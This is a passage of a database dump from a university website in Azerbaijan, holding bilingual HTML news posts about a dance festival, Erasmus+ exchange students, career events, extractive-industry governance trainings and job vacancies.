Arhavi,\r\nTurkey were discussed. Zulfiyye&nbsp; Sadigova, head of&nbsp; the Department of\r\nMusic and Fine Arts, instructors Telman Eliyev and Sabina İsmayılova\r\nparticipated in the discussions. The dance ensembles` clothes, preparations and\r\nother issues were discussed at the meeting. It was decided to carry out\r\nintensive dance trainings by instructors during August and July for the Arhavi Festival.</p>'),(2017,1226,'az','“Xəzər”in rəqs qruplarının yığıncağı keçirildi','2016-cı il iyunun 21-də Xəzər Universitetinin oğlanlardan və qızlardan ibarət rəqs qruplarının yığıncağı keçirildi...','<p>2016-cı il\r\niyunun 21-də Xəzər Universitetinin oğlanlardan və qızlardan ibarət rəqs\r\nqruplarının yığıncağı keçirildi. İctimai əlaqələr və media üzrə direktor Əlövsət\r\nƏmirbəyli rəqs qruplarının Türkiyənin Kahramanmaraş və Giresun şəhərlərindəki fəaliyyətləri\r\nhaqqında məlumat verdi və tələbələrə universitet rəhbərliyi adından dərin təşəkkürünü\r\nbildirdi. </p>\r\n<p>Sonra cari ilin\r\navqustunda Türkiyənin Arhavi şəhərində keçiriləcək 49-cu Arhavi Beynəlxalq Festivalına\r\nhazırlıqla bağlı məsələlər müzakirə edildi. Müzakirələrdə Musiqi və incəsənət\r\ndepartamentinin müdiri Zülfiyə Sadıqova, rəqs müəllimləri Telman Əliyev və Səbinə\r\nİsmayılova çıxış etdilər. Rəqs qruplarının geyimləri, rəqslərin hazırlığı məsələləri\r\nvə digər hazırlıq işlərinin görülməsi geniş müzakirə olundu. Arhavi Festivalına\r\nhazırlıqla əlaqədar olaraq, iyul və avqust aylarında rəqs müəllimləri tərəfindən\r\nintensiv məşqlər həyata keçirilməsi qərara alındı.&nbsp;</p>'),(2018,1227,'az','Erasmus+ mübadilə imkanlarına seçilmiş tələbələr üçün səfərqabağı məlumatlandırma sessiyası (oriyentasiya) keçirildi','2016-cı il iyunun 22-də Beynəlxalq Əlaqələr Şöbəsi Erasmus+ proqramı çərçivəsində mövcud olan mübadilə imkanlarına seçilmiş tələbələr üçün...','<p>2016-cı il iyunun 22-də Beynəlxalq Əlaqələr Şöbəsi Erasmus+ proqramı\r\nçərçivəsində mövcud olan mübadilə imkanlarına seçilmiş tələbələr üçün səfərqabağı\r\nməlumatlandırma sessiyası (oriyentasiya) keçirdi. Xəzər Universitetinin hər təhsil\r\npilləsi üzrə ümumilikdə 14 tələbəsi İtaliya, Polşa, Sloveniya, Türkiyə və Birləşmiş\r\nKrallıqda olan partnyor universitetlərdə mübadilə proqramında iştirak etmək\r\nüçün seçilmişdir.</p>\r\n<p>Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı görüşü açdı. Tələbələri mübadilə imkanlarına\r\nseçilmələri münasibətilə təbrik etdi və onlara dərslərində uğurlar arzuladı.\r\nProfessor İsaxanlı onların təhsil pillələrinə uyğun olaraq, hər birinə ayrıca məsləhətlər\r\nverdi və xaricdə təhsil alacaqları müddətdə bundan yararlanmaları üçün həvəsləndirdi.</p>\r\n<p>Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova Erasmus+\r\nproqramı və beynəlxalq mübadiləyə aid olan qayda-qanunlar haqqında təqdimat\r\nkeçirdi. O, tələbələri mübadilədən əvvəl, mübadilə ərzində və sonra atmalı\r\nolduqları vacib addımlar haqqında məlumatlandırdı. Sağlamlıq, sığorta, şəxsi təhlükəsizlik,\r\nyeni cəmiyyətə uyğunlaşma, yerləşmə, təhsil gözləntiləri və digər mühüm məsələlər\r\ndə əhatə olundu.</p>\r\n<p>2016-2017-ci tədris ili üçün seçilən tələbələrin və təhsil alacaqları\r\nuniversitetlərin adları belədir:</p>\r\n<p><strong>Bakalavr tələbələri</strong></p>\r\n<p>Kozminski Universiteti (Polşa): Nadir Qədirli (maliyyə), Lalə\r\nSalayeva (iqtisadiyyat), Nərmin Abbasova (mühasibat uçotu və audit); Lyublyana\r\nUniversiteti (Sloveniya): Erlan İsmayilov (maliyyə), Anar Əhmədov (maliyyə), Süleyman Yagizarov\r\n(maliyyə), Aslan İsaxanlı (menecment), Ülviyyə Əzizova (maliyyə). </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Magistr tələbələri</strong></p>\r\n<p>Lodz Universiteti (Polşa): Vusalə Hüseynova (MBA, Beynəlxalq iqtisadi\r\nmünasibətlər); <strong>Sapienza Universiteti/Roma (İtaliya): </strong>Müşviq\r\nAbdullayev (Menecment, Təhsilin idarə olunması); L’Aquilla Universiteti\r\n(İtaliya): Minirə Aslanova (MBA, Beynəlxalq iqtisadi münasibətlər).</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Doktorantura tələbəsi</strong></p>\r\n<p>Middlesex Universiteti (Birləşmiş Krallıq): Nərminə Fətəliyeva.</p>'),(2019,1227,'en','Pre-departure Orientation for Students Selected for Erasmus + Exchange Opportunities','On June 22, 2016, International Affairs Office organized a pre-departure orientation for students selected for exchange opportunities within...','<p><strong>&nbsp;</strong>On June 22, 2016, International Affairs\r\nOffice organized a pre-departure orientation for students selected for exchange\r\nopportunities within the Erasmus + Programme. Fourteen students of Khazar\r\nUniversity from all three levels of study were selected to participate in\r\nexchange opportunities at partner universities in Italy, Poland, Slovenia,\r\nTurkey, and United Kingdom.</p>\r\n<p>The pre-departure orientation was opened\r\nby Professor Hamlet Isakhanli, founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees. He congratulated all the students on being\r\nselected for the exchange opportunities and wished them good luck in their\r\nstudies. Prof. Isakahnli also gave separate recommendations and advice to all\r\nstudents in accordance with their level of study and encouraged them to take\r\nadvantage of their studies abroad. </p>\r\n<p>Turan Jafarova, Director of\r\nInternational Affairs Office, gave a presentation about the Erasmus+ Programme,\r\nits rules and regulations as pertains to the international credit mobility. She\r\nalso informed the students about important steps to be taken before, during and\r\nafter the mobility. Information about health, insurance, personal safety,\r\nadjusting to a new culture, accommodation, academic expectations, and other\r\nimportant topics were covered.</p>\r\n<p>The students selected to study abroad in\r\nthe 2016-2017 academic year and the universities they will be studying at are:</p>\r\n<p>Bachelor Students</p>\r\n<p>Kozminski University (Poland):</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNadir\r\nGadirli (Finance)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLala\r\nSalayeva (Economics)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNarmin\r\nAbbasova (Accounting and Audit)</p>\r\n<p>&nbsp;</p>\r\n<p>University of Ljubljana (Slovenia):</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nErlan Ismayilov (Finance)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnar Ahmadov (Finance)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuleyman Yagizarov (Finance)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAslan Isakhanli (Management)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUlviyya Azizova (Finance)</p>\r\n<p>&nbsp;</p>\r\n<p>Master Students</p>\r\n<p>University of Lodz (Poland):</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVusala\r\nHuseynova (MBA, International Economic Relations)</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Sapienza\r\nUniversity/Rome (Italy)</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMushfiq\r\nAbdullayev (Education Administration) </p>\r\n<p>&nbsp;</p>\r\n<p>University of L’Aquilla (Italy)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMinira\r\nAslanova (MBA, International Economic Relations)</p>\r\n<p>&nbsp;</p>\r\n<p>PhD student</p>\r\n<p>Middlesex University (UK)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNarmina\r\nFataliyeva</p>\r\n<p>&nbsp;</p>'),(1201,500,'az','Professional Perspektivlər','Professional Perspektivlər','<p style=\"text-align:justify\">Professional Perspektivlər proqramı, tələbələrə bütün sahələrdən məzunlar və digər peşəkarlarla görüşmək imkanı verir. Gündəlik işlərinə ilk anlayışlarını qazanmaq, karyera məsləhətləri almaq və müvafiq sahələrdə iş imkanları və tətbiq prosesi haqqında daha çox məlumat əldə etmək.</p>\r\n<h2><strong><strong>Tərcüməçilikdə Karyeralar</strong></strong></h2><p><strong>Məruzəçi: </strong>Nəsimi Həsənov</p><p>13 Mart, 2018 (206)</p><p><strong>Saat:&nbsp;<span style=\"font-weight:normal\">15:30</span></strong><br></p><p><strong><span style=\"font-weight:normal\"><br></span></strong></p><p><strong><span style=\"font-weight:normal\"><br></span></strong></p><h2><strong><strong>Enkotek&nbsp;</strong><strong>Şirkəti ilə Görüş</strong></strong></h2><p><strong><strong></strong>Tarix:&nbsp;</strong>09.03.18</p><p><strong>Saat:&nbsp;</strong>15:30</p><p><strong>Yer: </strong>206&nbsp;</p><p><strong><br></strong></p><h2><strong>HUAWEI&nbsp;</strong><strong>Şirkəti ilə Görüş</strong><br></h2><p><strong>Tarix</strong>:&nbsp;22.02.18</p><p><strong>Vaxt</strong>: 15:30</p><p><strong>Otaq</strong>: 307 N</p>  <p><br></p><h2>Qan qrupu və Sənin xarakterin</h2><p><strong>Məruzəçi</strong>: M.Ə.Sabir Fondunun prezidenti Bio.Ü.F.D., dosent Sevda Tahirli idi.</p><p><strong>Tarix</strong>: 28 Dekabr 2017 (102N)</p><p><strong>Müddət</strong>: 15:00-16:30</p>\r\n<h2><br></h2><h2>KPMG Universitet Günləri</h2><p><strong>Məruzəçilər</strong>: Kərim Daiyev, Sona Gurbanova, Zəhra Imranova, Aslan Bağırov, Aysel Balakişiyeva</p><p><strong>Tarix</strong>: 22 Dekabr 2017 (Mərmər Zal)</p><p><strong>Müddət</strong>: 16:30-18:00</p>'),(4985,2907,'az','Təlimlər','Təlimlər','<br><p>Eurasia Hub delivers courses for civil society advocates, government officials, journalists, parliamentarians and other actors working to improve the management of oil, gas and minerals. The Hub offers a comprehensive course on the extractive industries decision chain and thematic courses in issues relevant to the Eurasia region, such as on the Extractive Industries Transparency Initiative (EITI), revenue management and economic diversification in period of low commodity prices.</p><p>Our approach focuses on learning through participants’ own experiences, and uses sustained debates and policy labs to allow participants to apply new knowledge to their professional roles. Courses encourage participants to examine and debate the pros and cons of policy decisions from various angles.</p><p>Eurasia Hub’s trainings classify as following:</p><h2>Value chain course</h2><p>The course is 8-days long. Based on the Natural Resource Charter, this course helps participants understand the linkages between extractive sector transparency, accountability and management issues as an integrated system. This course helps participants to comprehend EI transparency, accountability and management as an integrated system with forward and backward linkages; and also to have a clear understanding of the impact of individual elements of this chain on the whole, their dependency and consistency of rationale.</p><h2>Auxiliary courses</h2><p>Based on regional needs, the hub offers basic auxiliary courses in addition to core courses on the EI value chain and technical trainings. The hub provides EITI courses for a number of countries (Albania, Afghanistan, Tajikistan, Ukraine) as these countries work towards validation and compliance statuses. EITI Essentials courses run for countries that have not yet signed up for the initiative but would benefit from revenue transparency, and the opportunity for civil society to work with government and companies as part of a multi-stakeholder group. Such agenda-setting courses would target countries such as Turkmenistan, where very little traction has been gained in democratic governance.</p><p>Another auxiliary course will be offered on EI contracts for as long as it remains a topical subject for a group of countries in the region (Afghanistan, Albania, Kyrgyzstan, and Mongolia). Some of these auxiliary courses will be offered in different countries in the region.</p><p>Auxiliary courses are short (3 days long) and have a specific goal-oriented character. The content of these courses will be delivered progressively on a multilevel basis, e.g. including knowledge and skills in that field.</p><h2>Revenue Management and Economic Diversification Course</h2><p>The Eurasia Hub has identified revenue management as the main priority theme for the region. This module’s approbation process has already been initiated by conducting several workshops where a model developed by RWI was further improved through engagement of regional experts.</p><p>The Hub will continue to pay attention to this topic because it has significant social-political-economic importance for the entire region and its various countries, and also considering its practical importance for governance and from a practical standpoint.</p><p>Within the framework of this topic, the Hub identifies the following issues as primary foci to be addressed in the module: how to build diversification away from extractives into government policies in the short and long term; how to form a government policy for spending sovereign wealth/natural resource funds; how CSOs can oversee governments in these activities; how CSOs can assist governments in the development of alternative programs that will lead to transformational human and economic development.</p><p>These trainings will have very practical significance as they will provoke various scenarios and explore avenues for the formation of more operational policies. Considering the special significance of the topics for decision-makers in particular, both parliamentarians and representatives of the executive institutes of the government will be engaged in trainings.</p><h2>ToT</h2><p>The ToT courses are conducted for a selected team of successful Hub alumni from each training, which gives them an opportunity to improve skills in delivering hands-on trainings on extractive industries. The objective of the trainings is to provide participants with knowledge, tools and skills on training processes and methods. ToT Courses are offered in an interactive mode and are delivered by professional trainers from the New York-based Natural Resource Governance Institute. ToT topics include “Revenue Management and Economic Diversification” and subjects of auxiliary courses such as “Legal and Fiscal Framework of Extractive Industries”. The language of the course is English.</p>'),(1726,1072,'en','“360 Degree Communication with Students with Disabilities ” Training seminar','On May 13, 2016 at 15:00 in room 408N, a training seminar entitled “360 Degree Communication with Students with Disabilities ” will be held for Khazar University students within the framework of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project.','<p>On May 13, 2016 at 15:00 in room 408N, a training seminar entitled “360 Degree Communication with Students with Disabilities ”   will be held for Khazar University students within the framework of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project.&nbsp;The objective of the training is to give students detailed information about disabilities, ethical treatment of student with disabilities   and how to interact with them correctly, and inclusive education. During the training, students will also be informed about volunteering for the Center for Students with Disabilities that has been established as part of ESFIDIP.</p><p>Students wishing to participate should send brief biographical information (name, last name, school, year of study) to&nbsp;<a href=\"mailto:rmammadova@khazar.org\" target=\"_blank\">rmammadova@khazar.org</a>&nbsp;or&nbsp;<a href=\"mailto:gunel.qurbanova95@gmail.com\" target=\"_blank\">gunel.qurbanova95@gmail.com</a>.</p><p>&nbsp;</p>'),(1202,501,'az','İllik Karyera Sərgisinə qatılın','İllik Karyera Sərgisinə qatılın','<p>Karyera Sərgiləri təşkilatların Xəzər tələbələri ilə əlaqə yaratmaq və kampusumuzda marka yaratmaq üçün gözəl bir yoldur. Universitetin Karyera Mərkəzi hər bir təhsil-tədris ilində işəgötürən ehtiyaclarını qarşılamaq üçün illik karyera sərgilərinə ev sahibliyi edir.</p><h2>Faydalı Məsləhətlər</h2><p><strong>Peşəkar şəkildə geyinin.</strong> Karyera sərgiləri müsahibəyə bənzərdir, ona görə də geyiminizin müsahibəyə uyğun olduğundan əmin olun. Peşəkar şəkildə geyinin, saçınız səliqəli və sadə olsun, xanımların minimum makyaj istifadə etmələri uyğundur.</p><p><strong>Rahat ayaqqabı geyinin. </strong>Çünki sıralar uzundur və gözləməli olacaqsınız, narahat hündür dabanlı ayaqqabılar və ya yeni ayaqqabılar geyinməyin. Səliqəli, sadə və müsahibəyə uyğun rahat ayaqqabılar geyinin.</p><p><strong>CV-nizi gətirin. </strong>Şirkətlərə vermək üçün öz CV-inizi gətirin. CV-lərinizi və təşkilati sənədləri daşımaq üçün portfel götürün.</p><p><strong>Karyera hədəflərinizi müzakirə etməyə hazır olun. </strong>Harada işləmək, nə etmək istədiyiniz və müvafiq bacarıqlarınız haqqında danışmağa hazır olun.</p><p><strong>Həvəsli olun. </strong>İşəgötürən şirkət sorğuları göstərir ki, namizədlərin yeni vəzifəyə gətirə biləcəyi ən vacib şəxsi atributlarından biri həvəsdir. Bu o deməkdir ki, işəgötürən şirkətlər sizin gülümsəməyinizi istəyir. Ona görə də, gülümsəyin və şirkətə olan həvəsinizi göstərin.</p><p><br></p><h3><strong>Karyera sərgisi</strong></h3><p><strong>Tarix:</strong> 29 May 2018-ci il</p><p><strong>Saat: </strong>11:00 - 16:00</p><p><strong>Ünvan: </strong>Məhsəti küç. 41, “Neftçilər” korpusu, Bakı, Azərbaycan</p><p><strong>Qeydiyyat üçün son tarix: </strong>22 May&nbsp;2018-ci il</p><p>Şirkət və təşkilatlar öz iştirakını aşağıdakı e-mail vasitəsilə təsdiqlədə və rezervasiya formlarını istəyə bilərlər: <a href=\"mailto:leliyeva@khazar.org\">careercenter@khazar.org</a>  </p><p><br></p><p><strong><em>Karyera sərgisində iştirak ödənişsizdir!</em></strong></p><p><br></p><p><strong>Əlavə məlumat üçün:</strong></p><p><strong>Telefon:</strong> (+994  12) 421 79&nbsp;16 (212)</p><p><strong>Fax: </strong>(+99412) 498 93 79</p><p><strong>Email:</strong> <a href=\"mailto:leliyeva@khazar.org\">careercenter@khazar.org</a>  <a href=\"http://mailto:careercenter@khazar.org\"></a></p>'),(4986,2907,'en','Trainings','Trainings','<p>Eurasia Hub delivers courses for civil society advocates, government officials, journalists, parliamentarians and other actors working to improve the management of oil, gas and minerals. The Hub offers a comprehensive course on the extractive industries decision chain and thematic courses in issues relevant to the Eurasia region, such as on the Extractive Industries Transparency Initiative (EITI), revenue management and economic diversification in period of low commodity prices.</p><p>Our approach focuses on learning through participants’ own experiences, and uses sustained debates and policy labs to allow participants to apply new knowledge to their professional roles. Courses encourage participants to examine and debate the pros and cons of policy decisions from various angles.</p><p>Eurasia Hub’s trainings classify as following:</p><h2>Value chain course</h2><p>The course is 8-days long. Based on the Natural Resource Charter, this course helps participants understand the linkages between extractive sector transparency, accountability and management issues as an integrated system. This course helps participants to comprehend EI transparency, accountability and management as an integrated system with forward and backward linkages; and also to have a clear understanding of the impact of individual elements of this chain on the whole, their dependency and consistency of rationale.</p><h2>Auxiliary courses</h2><p>Based on regional needs, the hub offers basic auxiliary courses in addition to core courses on the EI value chain and technical trainings. The hub provides EITI courses for a number of countries (Albania, Afghanistan, Tajikistan, Ukraine) as these countries work towards validation and compliance statuses. EITI Essentials courses run for countries that have not yet signed up for the initiative but would benefit from revenue transparency, and the opportunity for civil society to work with government and companies as part of a multi-stakeholder group. Such agenda-setting courses would target countries such as Turkmenistan, where very little traction has been gained in democratic governance.</p><p>Another auxiliary course will be offered on EI contracts for as long as it remains a topical subject for a group of countries in the region (Afghanistan, Albania, Kyrgyzstan, and Mongolia). Some of these auxiliary courses will be offered in different countries in the region.</p><p>Auxiliary courses are short (3 days long) and have a specific goal-oriented character. The content of these courses will be delivered progressively on a multilevel basis, e.g. including knowledge and skills in that field.</p><h2>Revenue Management and Economic Diversification Course</h2><p>The Eurasia Hub has identified revenue management as the main priority theme for the region. This module’s approbation process has already been initiated by conducting several workshops where a model developed by RWI was further improved through engagement of regional experts.</p><p>The Hub will continue to pay attention to this topic because it has significant social-political-economic importance for the entire region and its various countries, and also considering its practical importance for governance and from a practical standpoint.</p><p>Within the framework of this topic, the Hub identifies the following issues as primary foci to be addressed in the module: how to build diversification away from extractives into government policies in the short and long term; how to form a government policy for spending sovereign wealth/natural resource funds; how CSOs can oversee governments in these activities; how CSOs can assist governments in the development of alternative programs that will lead to transformational human and economic development.</p><p>These trainings will have very practical significance as they will provoke various scenarios and explore avenues for the formation of more operational policies. Considering the special significance of the topics for decision-makers in particular, both parliamentarians and representatives of the executive institutes of the government will be engaged in trainings.</p><h2>ToT</h2><p>The ToT courses are conducted for a selected team of successful Hub alumni from each training, which gives them an opportunity to improve skills in delivering hands-on trainings on extractive industries. The objective of the trainings is to provide participants with knowledge, tools and skills on training processes and methods. ToT Courses are offered in an interactive mode and are delivered by professional trainers from the New York-based Natural Resource Governance Institute. ToT topics include “Revenue Management and Economic Diversification” and subjects of auxiliary courses such as “Legal and Fiscal Framework of Extractive Industries”. The language of the course is English.</p>'),(1204,503,'az','İşlər','İşlər','<p><strong>One2One</strong> <strong>Marketing agentliyi Vakansiya elan edir</strong><o:p></o:p></p> <p><strong>Vəzifə:</strong>\r\nMüştəri Xidmətləri Manager  <br></p><p><strong>Vəzifələri:</strong><o:p></o:p></p><p>Kadrların seçilməsi, inkişafı, təlimlər, şirkətin\r\nmotivasiyasına və layihə kadrlarına cavabdehlik</p>\r\n<p>Reklam, marketinq, rəqəmsal layihələr, maliyə fəaliyyətinin\r\nhəyata keçirilməsinə cavabdehlik</p>\r\n<p>Agentliyin kadr işlərinin idarə olunmasi – cəlb olunması,\r\ninkişafı və saxlanılması</p>\r\n<p>Layihənin idarə olunması və büdcə</p>  <p><strong>Tələblər:</strong><o:p></o:p></p><p>Təzyiq altında işləmək bacarığı</p>\r\n<p>Zamanın idarə olunması</p>\r\n<p>Nəticə-yönümlü</p>\r\n<p>Müxtəlif ünsiyyət bacarıqlar</p>\r\n<p>İngilis və Azərbaycan bilmə</p>\r\n<p>MS Office bacarıqları</p><p><br></p>  <p style=\"background:undefined \">Maraqlanan şəxslər careercenter@khazar.org&nbsp;&nbsp;ünvanına CV göndərə bilər.</p><div style=\"text-align:center\">***</div> <p><br></p><p><strong>SEFCO Consulting Group Təlim koordinatoru </strong>axtarır <strong>- Könüllü</strong></p> <p><strong><em>Əsas vəzifələri:</em></strong></p> <p>-&nbsp;Peşəkar təlimlərin təşkili, idarə olunması və qiymətləndirilməsi</p> <p>-&nbsp;Ümumi inzibati tapşırıq və texniki məsələlərin həllinə\r\nyardım etmək</p><p>-&nbsp;Sənəd və yazışmaların &nbsp;həyata keçirilməsi</p><p>-&nbsp;Təlim fəaliyyətinin təşkilində digər işçi heyyətə dəstək\r\nolmaq</p> <p><strong>Tələblər:<em></em></strong></p> <p>Bakalavr təhsili</p> <p>Ən azı 1 il müştəriyə yönəlik təcrübə</p>  <p>Azərbaycan və ingilis dillərində əla ünsiyyət bacarığı\r\n(şifahi və yazılı)</p>  <p>Təşkilatı və vaxtı düzgün idarə etmə bacarığı</p>  <p>Təlim avadanlıqlarının saxlanması və idarə olunması</p>  <p>Kompyuter bacarıqları : MS Office</p>  <p><br></p><p>Maraqlanan şəxslər Otaq 211 Karyera Mərkəzinə yaxınlaşa və\r\nya falakbarova@khazar.org &nbsp;ünvanına CV\r\ngöndərə bilər.</p><p style=\"text-align: center;\" margin-left:49.5pt;text-align:center\"=\"\"><strong>***</strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><strong>Caspian Investment Development Corporation (CIDC Baku LLC)</strong> </strong></p><p dir=\"ltr\" style=\"line-height:1.3800000000000001;margin-top:0pt;margin-bottom:0pt;text-indent:18pt;text-align:justify\"><span style=\"font-size:16px;font-family:\'Times New Roman\';color:#000000;font-style:italic;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-variant-east-asian:normal;text-decoration:none;vertical-align:baseline;white-space:pre-wrap\">Caspian Investment Development Corporation</span><span style=\"font-size:16px;font-family:\'Times New Roman\';color:#000000;font-style:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-variant-east-asian:normal;text-decoration:none;vertical-align:baseline;white-space:pre-wrap\"><strong> </strong>(CIDC Baku LLC) uşaq bezləri, ev təmizlik kağızları və sənaye-ticari kağızlar kimi gigiyena məhsulları üzrə Azərbaycanda və Xəzər ərazisində aparıcı keyfiyyətli istehsalçıdır.</span></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\">İstehsalın uğurlu başlanğıcını izləyən sənət emaledici işlər yüksək motivasiyası, bacarığı olan və şirkətin dəyərlərini, vəzifələrini və vizyonunu idarə etmək bacarığında olan komanda tələb edir.</p><p dir=\"ltr\">Biz hazırda şirkətimizə qatılmaq üçün<strong> </strong><span style=\"text-decoration:underline\"><strong>satış assistenti</strong></span> (ehtiyat hissələri və xam materiallar üzrə) axtarırıq.</p><p dir=\"ltr\">Vəzifələr bunlardan ibarətdir:</p><ul><li dir=\"ltr\"><p dir=\"ltr\">Satın alma vərəqələrinin yönləndirilməsi və tamamlanması ümumi faylların, yazıların, məlumatların saxlanılması kimi klerikal vəzifələrin yerinə yetirilməsi;</p></li><li dir=\"ltr\"><p dir=\"ltr\">Müqavilələri yeniləmək və satın alma sifarişlərinin məlumat bazasının yaradılması;</p></li><li dir=\"ltr\"><p dir=\"ltr\">Kriteriyalarına görə ehtiyat hissələrinin və xam materialların axtarılmasında və seçilməsində təchizatçılara kömək edilməsi ( yaxşı qiymətə, keyfiyyət və vəziyyətə uyğun);</p></li><li dir=\"ltr\"><p dir=\"ltr\">Qiymət dəyişikliklərini uyğun xidmət və istehsal departamentləri ilə mümkün olduğunca, tez əlaqələndirilməsininin təmin edilməsi;</p></li><li dir=\"ltr\"><p dir=\"ltr\">Sifarişlərin edilməsi, təşkilatçılığa kömək edilməsi; bütün vacib satışlara və logistik sənədlərə nəzarət edilməsi və toplanılması (gömrük icazəsi fakturalar, qablaşdırma siyahısı, ixrac bəyannaməsi, sertifikatlar, CMR, TIR Carnet);</p></li><li dir=\"ltr\"><p dir=\"ltr\">Təhvil cədvəllərinin təşkili, əksiklikləri təmin edilməsi, təhvillərin ötürülməsi və anbar binalarını tapmaqda kömək edilməsi.</p></li></ul><p dir=\"ltr\">Bu vəzifə üçün tələblər və lazım olan bacarıqlar:</p><ul><li dir=\"ltr\"><p dir=\"ltr\">Mexanika, elektronika, kimya və sənaye mühəndisliyi dərəcəsi;</p></li><li dir=\"ltr\"><p dir=\"ltr\">İstehsal sahəsində 1 il təcrübə;</p></li><li dir=\"ltr\"><p dir=\"ltr\">Azərbaycan/ingilis/rus dilində səlist danışmaq;</p></li><li dir=\"ltr\"><p dir=\"ltr\">Güclü MS Office bilikləri;</p></li><li dir=\"ltr\"><p dir=\"ltr\">Tez öyrənmə qabiliyyəti;</p></li><li dir=\"ltr\"><p dir=\"ltr\">Əla ünsiyyət, təşkilati və qrupla işləmək.</p></li></ul><p dir=\"ltr\">Mövzu başlığında müraciət etmək istədiyiniz vəzifənin adını qeyd edərək, CV-nizi <a href=\"mailto:recruitment@cidc.az\">recruitment@cidc.az</a> elektron poçt ünvanına göndərin.</p><p dir=\"ltr\">Son müraciət tarixi: <strong>2 dekabr 2016-cı il.</strong></p>  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong>Hellmann Worldwide Logistics Şirkəti elan&nbsp;edir!</strong></p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><strong></strong>Hellmann\r\nWorldwide Logistics MMC Almaniya şirkəti olaraq 140 ildən artıq fəaliyyət\r\ntarixinə malikdir.</p><p margin-left:49.5pt;text-align:center\"=\"\">Şirkət\r\n1871-ci ildə Karl Hellmann tərəfindən yaradılmışdı və başlanğıcda yalnız bir\r\ninsandan ibarət idi. Dörd nəsil sonra Karlın nəticələri Jost və Klaus 157\r\nölkədə təmsil olunan şəbəkə qurmağa nail olmuşlar. Dünyada 450-dən çox şöbələri\r\nilə biz, nəqliyyat sahəsində global nəqliyyat şirkəti olaraq, müştərilərimizə\r\ngeniş spektr&nbsp;nəqliyyat xidmətləri göstəririk. 2010-cu ildə Hellmann\r\nWorldwide Logistics Azərbaycanda filialın açılmasına qərar verdi.<strong></strong></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">Hal hazırda\r\nfilialımızda 10 nəfər işləyir və biz satış üzrə mütəxəssis axtarırıq.</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">İdeal\r\nnamizədin qabiliyyətləri və bacarıqları:</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">-\r\nKreativ fikirləşmə&nbsp;<br>\r\n- Komandada işləmək&nbsp;<br>\r\n- Razılaşdırılmış vaxt çərçivəsində işləri yerinə yetirmək&nbsp;<br>\r\n- İnsanlarla ünsiyyət qurmaq&nbsp;<br>\r\n- İngilis, Rus və Azərbaycan dillərində səlis danışmaq</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><em>İşin\r\ntəsviri</em>:</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">-\r\nPotensial müştəri bazası yaratmaq&nbsp;<br>\r\n- Həmin müştərilər ilə əlaqə yaratmaq, bizim şirkətin göstərdiyi xidmətlər\r\nhaqqında məlumat vermək&nbsp;<br>\r\n- Müştərilər ilə görüş keçirmək&nbsp;<br>\r\n- Göstərdiyimiz ximətləri müştərilərə satmaq</p>\r\n<p style=\"\" 